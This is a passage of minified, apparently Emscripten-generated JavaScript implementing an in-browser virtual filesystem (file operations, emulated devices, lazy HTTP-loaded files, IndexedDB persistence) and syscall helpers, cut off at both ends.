FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\"willDeletePath\"]){FS.trackingDelegate[\"willDeletePath\"](path)}}catch(e){console.log(\"FS.trackingDelegate['willDeletePath']('\"+path+\"') threw an exception: \"+e.message)}parent.node_ops.unlink(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\"onDeletePath\"])FS.trackingDelegate[\"onDeletePath\"](path)}catch(e){console.log(\"FS.trackingDelegate['onDeletePath']('\"+path+\"') threw an exception: \"+e.message)}}),readlink:(function(path){var lookup=FS.lookupPath(path);var link=lookup.node;if(!link){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!link.node_ops.readlink){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return PATH.resolve(FS.getPath(link.parent),link.node_ops.readlink(link))}),stat:(function(path,dontFollow){var lookup=FS.lookupPath(path,{follow:!dontFollow});var node=lookup.node;if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!node.node_ops.getattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return node.node_ops.getattr(node)}),lstat:(function(path){return FS.stat(path,true)}),chmod:(function(path,mode,dontFollow){var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{mode:mode&4095|node.mode&~4095,timestamp:Date.now()})}),lchmod:(function(path,mode){FS.chmod(path,mode,true)}),fchmod:(function(fd,mode){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chmod(stream.node,mode)}),chown:(function(path,uid,gid,dontFollow){var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{timestamp:Date.now()})}),lchown:(function(path,uid,gid){FS.chown(path,uid,gid,true)}),fchown:(function(fd,uid,gid){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chown(stream.node,uid,gid)}),truncate:(function(path,len){if(len<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:true});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!FS.isFile(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.nodePermissions(node,\"w\");if(err){throw new FS.ErrnoError(err)}node.node_ops.setattr(node,{size:len,timestamp:Date.now()})}),ftruncate:(function(fd,len){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}FS.truncate(stream.node,len)}),utime:(function(path,atime,mtime){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;node.node_ops.setattr(node,{timestamp:Math.max(atime,mtime)})}),open:(function(path,flags,mode,fd_start,fd_end){if(path===\"\"){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}flags=typeof flags===\"string\"?FS.modeStringToFlags(flags):flags;mode=typeof mode===\"undefined\"?438:mode;if(flags&64){mode=mode&4095|32768}else{mode=0}var node;if(typeof path===\"object\"){node=path}else{path=PATH.normalize(path);try{var lookup=FS.lookupPath(path,{follow:!(flags&131072)});node=lookup.node}catch(e){}}var created=false;if(flags&64){if(node){if(flags&128){throw new FS.ErrnoError(ERRNO_CODES.EEXIST)}}else{node=FS.mknod(path,mode,0);created=true}}if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(FS.isChrdev(node.mode)){flags&=~512}if(flags&65536&&!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}if(!created){var err=FS.mayOpen(node,flags);if(err){throw new FS.ErrnoError(err)}}if(flags&512){FS.truncate(node,0)}flags&=~(128|512);var stream=FS.createStream({node:node,path:FS.getPath(node),flags:flags,seekable:true,position:0,stream_ops:node.stream_ops,ungotten:[],error:false},fd_start,fd_end);if(stream.stream_ops.open){stream.stream_ops.open(stream)}if(Module[\"logReadFiles\"]&&!(flags&1)){if(!FS.readFiles)FS.readFiles={};if(!(path in FS.readFiles)){FS.readFiles[path]=1;Module[\"printErr\"](\"read file: \"+path)}}try{if(FS.trackingDelegate[\"onOpenFile\"]){var trackingFlags=0;if((flags&2097155)!==1){trackingFlags|=FS.tracking.openFlags.READ}if((flags&2097155)!==0){trackingFlags|=FS.tracking.openFlags.WRITE}FS.trackingDelegate[\"onOpenFile\"](path,trackingFlags)}}catch(e){console.log(\"FS.trackingDelegate['onOpenFile']('\"+path+\"', flags) threw an exception: \"+e.message)}return stream}),close:(function(stream){if(stream.getdents)stream.getdents=null;try{if(stream.stream_ops.close){stream.stream_ops.close(stream)}}catch(e){throw e}finally{FS.closeStream(stream.fd)}}),llseek:(function(stream,offset,whence){if(!stream.seekable||!stream.stream_ops.llseek){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}stream.position=stream.stream_ops.llseek(stream,offset,whence);stream.ungotten=[];return stream.position}),read:(function(stream,buffer,offset,length,position){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.read){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var seeking=true;if(typeof position===\"undefined\"){position=stream.position;seeking=false}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesRead=stream.stream_ops.read(stream,buffer,offset,length,position);if(!seeking)stream.position+=bytesRead;return bytesRead}),write:(function(stream,buffer,offset,length,position,canOwn){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.write){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if(stream.flags&1024){FS.llseek(stream,0,2)}var seeking=true;if(typeof position===\"undefined\"){position=stream.position;seeking=false}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesWritten=stream.stream_ops.write(stream,buffer,offset,length,position,canOwn);if(!seeking)stream.position+=bytesWritten;try{if(stream.path&&FS.trackingDelegate[\"onWriteToFile\"])FS.trackingDelegate[\"onWriteToFile\"](stream.path)}catch(e){console.log(\"FS.trackingDelegate['onWriteToFile']('\"+path+\"') threw an exception: \"+e.message)}return bytesWritten}),allocate:(function(stream,offset,length){if(offset<0||length<=0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(!FS.isFile(stream.node.mode)&&!FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(!stream.stream_ops.allocate){throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}stream.stream_ops.allocate(stream,offset,length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EACCES)}if(!stream.stream_ops.mmap){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}return stream.stream_ops.mmap(stream,buffer,offset,length,position,prot,flags)}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!stream||!stream.stream_ops.msync){return 0}return stream.stream_ops.msync(stream,buffer,offset,length,mmapFlags)}),munmap:(function(stream){return 0}),ioctl:(function(stream,cmd,arg){if(!stream.stream_ops.ioctl){throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)}return stream.stream_ops.ioctl(stream,cmd,arg)}),readFile:(function(path,opts){opts=opts||{};opts.flags=opts.flags||\"r\";opts.encoding=opts.encoding||\"binary\";if(opts.encoding!==\"utf8\"&&opts.encoding!==\"binary\"){throw new Error('Invalid encoding type \"'+opts.encoding+'\"')}var ret;var stream=FS.open(path,opts.flags);var stat=FS.stat(path);var length=stat.size;var buf=new Uint8Array(length);FS.read(stream,buf,0,length,0);if(opts.encoding===\"utf8\"){ret=UTF8ArrayToString(buf,0)}else if(opts.encoding===\"binary\"){ret=buf}FS.close(stream);return ret}),writeFile:(function(path,data,opts){opts=opts||{};opts.flags=opts.flags||\"w\";opts.encoding=opts.encoding||\"utf8\";if(opts.encoding!==\"utf8\"&&opts.encoding!==\"binary\"){throw new Error('Invalid encoding type \"'+opts.encoding+'\"')}var stream=FS.open(path,opts.flags,opts.mode);if(opts.encoding===\"utf8\"){var buf=new Uint8Array(lengthBytesUTF8(data)+1);var actualNumBytes=stringToUTF8Array(data,buf,0,buf.length);FS.write(stream,buf,0,actualNumBytes,0,opts.canOwn)}else if(opts.encoding===\"binary\"){FS.write(stream,data,0,data.length,0,opts.canOwn)}FS.close(stream)}),cwd:(function(){return FS.currentPath}),chdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});if(lookup.node===null){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!FS.isDir(lookup.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var err=FS.nodePermissions(lookup.node,\"x\");if(err){throw new FS.ErrnoError(err)}FS.currentPath=lookup.path}),createDefaultDirectories:(function(){FS.mkdir(\"\/tmp\");FS.mkdir(\"\/home\");FS.mkdir(\"\/home\/web_user\")}),createDefaultDevices:(function(){FS.mkdir(\"\/dev\");FS.registerDevice(FS.makedev(1,3),{read:(function(){return 0}),write:(function(stream,buffer,offset,length,pos){return length})});FS.mkdev(\"\/dev\/null\",FS.makedev(1,3));TTY.register(FS.makedev(5,0),TTY.default_tty_ops);TTY.register(FS.makedev(6,0),TTY.default_tty1_ops);FS.mkdev(\"\/dev\/tty\",FS.makedev(5,0));FS.mkdev(\"\/dev\/tty1\",FS.makedev(6,0));var random_device;if(typeof crypto!==\"undefined\"){var randomBuffer=new Uint8Array(1);random_device=(function(){crypto.getRandomValues(randomBuffer);return randomBuffer[0]})}else if(ENVIRONMENT_IS_NODE){random_device=(function(){return require(\"crypto\").randomBytes(1)[0]})}else{random_device=(function(){return Math.random()*256|0})}FS.createDevice(\"\/dev\",\"random\",random_device);FS.createDevice(\"\/dev\",\"urandom\",random_device);FS.mkdir(\"\/dev\/shm\");FS.mkdir(\"\/dev\/shm\/tmp\")}),createSpecialDirectories:(function(){FS.mkdir(\"\/proc\");FS.mkdir(\"\/proc\/self\");FS.mkdir(\"\/proc\/self\/fd\");FS.mount({mount:(function(){var node=FS.createNode(\"\/proc\/self\",\"fd\",16384|511,73);node.node_ops={lookup:(function(parent,name){var fd=+name;var stream=FS.getStream(fd);if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var ret={parent:null,mount:{mountpoint:\"fake\"},node_ops:{readlink:(function(){return stream.path})}};ret.parent=ret;return ret})};return node})},{},\"\/proc\/self\/fd\")}),createStandardStreams:(function(){if(Module[\"stdin\"]){FS.createDevice(\"\/dev\",\"stdin\",Module[\"stdin\"])}else{FS.symlink(\"\/dev\/tty\",\"\/dev\/stdin\")}if(Module[\"stdout\"]){FS.createDevice(\"\/dev\",\"stdout\",null,Module[\"stdout\"])}else{FS.symlink(\"\/dev\/tty\",\"\/dev\/stdout\")}if(Module[\"stderr\"]){FS.createDevice(\"\/dev\",\"stderr\",null,Module[\"stderr\"])}else{FS.symlink(\"\/dev\/tty1\",\"\/dev\/stderr\")}var stdin=FS.open(\"\/dev\/stdin\",\"r\");assert(stdin.fd===0,\"invalid handle for stdin (\"+stdin.fd+\")\");var stdout=FS.open(\"\/dev\/stdout\",\"w\");assert(stdout.fd===1,\"invalid handle for stdout (\"+stdout.fd+\")\");var stderr=FS.open(\"\/dev\/stderr\",\"w\");assert(stderr.fd===2,\"invalid handle for stderr (\"+stderr.fd+\")\")}),ensureErrnoError:(function(){if(FS.ErrnoError)return;FS.ErrnoError=function ErrnoError(errno,node){this.node=node;this.setErrno=(function(errno){this.errno=errno;for(var key in ERRNO_CODES){if(ERRNO_CODES[key]===errno){this.code=key;break}}});this.setErrno(errno);this.message=ERRNO_MESSAGES[errno]};FS.ErrnoError.prototype=new Error;FS.ErrnoError.prototype.constructor=FS.ErrnoError;[ERRNO_CODES.ENOENT].forEach((function(code){FS.genericErrors[code]=new FS.ErrnoError(code);FS.genericErrors[code].stack=\"<generic error, no stack>\"}))}),staticInit:(function(){FS.ensureErrnoError();FS.nameTable=new Array(4096);FS.mount(MEMFS,{},\"\/\");FS.createDefaultDirectories();FS.createDefaultDevices();FS.createSpecialDirectories();FS.filesystems={\"MEMFS\":MEMFS,\"IDBFS\":IDBFS,\"NODEFS\":NODEFS,\"WORKERFS\":WORKERFS}}),init:(function(input,output,error){assert(!FS.init.initialized,\"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)\");FS.init.initialized=true;FS.ensureErrnoError();Module[\"stdin\"]=input||Module[\"stdin\"];Module[\"stdout\"]=output||Module[\"stdout\"];Module[\"stderr\"]=error||Module[\"stderr\"];FS.createStandardStreams()}),quit:(function(){FS.init.initialized=false;var fflush=Module[\"_fflush\"];if(fflush)fflush(0);for(var i=0;i<FS.streams.length;i++){var stream=FS.streams[i];if(!stream){continue}FS.close(stream)}}),getMode:(function(canRead,canWrite){var mode=0;if(canRead)mode|=292|73;if(canWrite)mode|=146;return mode}),joinPath:(function(parts,forceRelative){var path=PATH.join.apply(null,parts);if(forceRelative&&path[0]==\"\/\")path=path.substr(1);return path}),absolutePath:(function(relative,base){return PATH.resolve(base,relative)}),standardizePath:(function(path){return PATH.normalize(path)}),findObject:(function(path,dontResolveLastLink){var ret=FS.analyzePath(path,dontResolveLastLink);if(ret.exists){return ret.object}else{___setErrNo(ret.error);return null}}),analyzePath:(function(path,dontResolveLastLink){try{var lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});path=lookup.path}catch(e){}var ret={isRoot:false,exists:false,error:0,name:null,path:null,object:null,parentExists:false,parentPath:null,parentObject:null};try{var lookup=FS.lookupPath(path,{parent:true});ret.parentExists=true;ret.parentPath=lookup.path;ret.parentObject=lookup.node;ret.name=PATH.basename(path);lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});ret.exists=true;ret.path=lookup.path;ret.object=lookup.node;ret.name=lookup.node.name;ret.isRoot=lookup.path===\"\/\"}catch(e){ret.error=e.errno}return ret}),createFolder:(function(parent,name,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.mkdir(path,mode)}),createPath:(function(parent,path,canRead,canWrite){parent=typeof parent===\"string\"?parent:FS.getPath(parent);var parts=path.split(\"\/\").reverse();while(parts.length){var part=parts.pop();if(!part)continue;var current=PATH.join2(parent,part);try{FS.mkdir(current)}catch(e){}parent=current}return current}),createFile:(function(parent,name,properties,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.create(path,mode)}),createDataFile:(function(parent,name,data,canRead,canWrite,canOwn){var path=name?PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name):parent;var mode=FS.getMode(canRead,canWrite);var node=FS.create(path,mode);if(data){if(typeof data===\"string\"){var arr=new Array(data.length);for(var i=0,len=data.length;i<len;++i)arr[i]=data.charCodeAt(i);data=arr}FS.chmod(node,mode|146);var stream=FS.open(node,\"w\");FS.write(stream,data,0,data.length,0,canOwn);FS.close(stream);FS.chmod(node,mode)}return node}),createDevice:(function(parent,name,input,output){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(!!input,!!output);if(!FS.createDevice.major)FS.createDevice.major=64;var dev=FS.makedev(FS.createDevice.major++,0);FS.registerDevice(dev,{open:(function(stream){stream.seekable=false}),close:(function(stream){if(output&&output.buffer&&output.buffer.length){output(10)}}),read:(function(stream,buffer,offset,length,pos){var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=input()}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){for(var i=0;i<length;i++){try{output(buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})});return FS.mkdev(path,mode,dev)}),createLink:(function(parent,name,target,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);return FS.symlink(target,path)}),forceLoadFile:(function(obj){if(obj.isDevice||obj.isFolder||obj.link||obj.contents)return true;var success=true;if(typeof XMLHttpRequest!==\"undefined\"){throw new Error(\"Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.\")}else if(Module[\"read\"]){try{obj.contents=intArrayFromString(Module[\"read\"](obj.url),true);obj.usedBytes=obj.contents.length}catch(e){success=false}}else{throw new Error(\"Cannot load without read() or XMLHttpRequest.\")}if(!success)___setErrNo(ERRNO_CODES.EIO);return success}),createLazyFile:(function(parent,name,url,canRead,canWrite){function LazyUint8Array(){this.lengthKnown=false;this.chunks=[]}LazyUint8Array.prototype.get=function LazyUint8Array_get(idx){if(idx>this.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx\/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function LazyUint8Array_cacheLength(){var xhr=new XMLHttpRequest;xhr.open(\"HEAD\",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error(\"Couldn't load \"+url+\". Status: \"+xhr.status);var datalength=Number(xhr.getResponseHeader(\"Content-length\"));var header;var hasByteServing=(header=xhr.getResponseHeader(\"Accept-Ranges\"))&&header===\"bytes\";var usesGzip=(header=xhr.getResponseHeader(\"Content-Encoding\"))&&header===\"gzip\";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(function(from,to){if(from>to)throw new Error(\"invalid range (\"+from+\", \"+to+\") or no bytes requested!\");if(to>datalength-1)throw new Error(\"only \"+datalength+\" bytes available! programmer error!\");var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);if(datalength!==chunkSize)xhr.setRequestHeader(\"Range\",\"bytes=\"+from+\"-\"+to);if(typeof Uint8Array!=\"undefined\")xhr.responseType=\"arraybuffer\";if(xhr.overrideMimeType){xhr.overrideMimeType(\"text\/plain; charset=x-user-defined\")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error(\"Couldn't load \"+url+\". Status: \"+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}else{return intArrayFromString(xhr.responseText||\"\",true)}});var lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]===\"undefined\"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]===\"undefined\")throw new Error(\"doXHR failed!\");return lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log(\"LazyFiles on gzip forces download of the whole file when length is accessed\")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof XMLHttpRequest!==\"undefined\"){if(!ENVIRONMENT_IS_WORKER)throw\"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc\";var lazyArray=new LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize})}});var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url:url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return this.contents.length})}});var stream_ops={};var keys=Object.keys(node.stream_ops);keys.forEach((function(key){var fn=node.stream_ops[key];stream_ops[key]=function forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return fn.apply(null,arguments)}}));stream_ops.read=function stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var i=0;i<size;i++){buffer[offset+i]=contents[position+i]}}else{for(var i=0;i<size;i++){buffer[offset+i]=contents.get(position+i)}}return size};node.stream_ops=stream_ops;return node}),createPreloadedFile:(function(parent,name,url,canRead,canWrite,onload,onerror,dontCreateFile,canOwn,preFinish){Browser.init();var fullname=name?PATH.resolve(PATH.join2(parent,name)):parent;var dep=getUniqueRunDependency(\"cp \"+fullname);function processData(byteArray){function finish(byteArray){if(preFinish)preFinish();if(!dontCreateFile){FS.createDataFile(parent,name,byteArray,canRead,canWrite,canOwn)}if(onload)onload();removeRunDependency(dep)}var handled=false;Module[\"preloadPlugins\"].forEach((function(plugin){if(handled)return;if(plugin[\"canHandle\"](fullname)){plugin[\"handle\"](byteArray,fullname,finish,(function(){if(onerror)onerror();removeRunDependency(dep)}));handled=true}}));if(!handled)finish(byteArray)}addRunDependency(dep);if(typeof url==\"string\"){Browser.asyncLoad(url,(function(byteArray){processData(byteArray)}),onerror)}else{processData(url)}}),indexedDB:(function(){return window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB}),DB_NAME:(function(){return\"EM_FS_\"+window.location.pathname}),DB_VERSION:20,DB_STORE_NAME:\"FILE_DATA\",saveFilesToDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=function openRequest_onupgradeneeded(){console.log(\"creating db\");var db=openRequest.result;db.createObjectStore(FS.DB_STORE_NAME)};openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;var transaction=db.transaction([FS.DB_STORE_NAME],\"readwrite\");var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var putRequest=files.put(FS.analyzePath(path).object.contents,path);putRequest.onsuccess=function putRequest_onsuccess(){ok++;if(ok+fail==total)finish()};putRequest.onerror=function putRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror}),loadFilesFromDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=onerror;openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;try{var transaction=db.transaction([FS.DB_STORE_NAME],\"readonly\")}catch(e){onerror(e);return}var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var getRequest=files.get(path);getRequest.onsuccess=function getRequest_onsuccess(){if(FS.analyzePath(path).exists){FS.unlink(path)}FS.createDataFile(PATH.dirname(path),PATH.basename(path),getRequest.result,true,true,true);ok++;if(ok+fail==total)finish()};getRequest.onerror=function getRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror})};var SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:(function(dirfd,path){if(path[0]!==\"\/\"){var dir;if(dirfd===-100){dir=FS.cwd()}else{var dirstream=FS.getStream(dirfd);if(!dirstream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);dir=dirstream.path}path=PATH.join2(dir,path)}return path}),doStat:(function(func,path,buf){try{var stat=func(path)}catch(e){if(e&&e.node&&PATH.normalize(path)!==PATH.normalize(FS.getPath(e.node))){return-ERRNO_CODES.ENOTDIR}throw e}HEAP32[buf>>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()\/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()\/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()\/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return 0}),doMsync:(function(addr,stream,len,flags){var buffer=new Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]===\"\/\")path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return 0}),doMknod:(function(path,mode,dev){switch(mode&61440){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return 0}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var node;var lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var perms=\"\";if(amode&4)perms+=\"r\";if(amode&2)perms+=\"w\";if(amode&1)perms+=\"x\";if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return 0}),doDup:(function(path,flags,suggestFD){var suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr<len)break}return ret}),doWritev:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),getStreamFromFD:(function(){var stream=FS.getStream(SYSCALLS.get());if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return stream}),getSocketFromFD:(function(){var socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return socket}),getSocketAddress:(function(allowNull){var addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return null;var info=__read_sockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall20(which,varargs){SYSCALLS.varargs=varargs;try{return PROCINFO.pid}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var 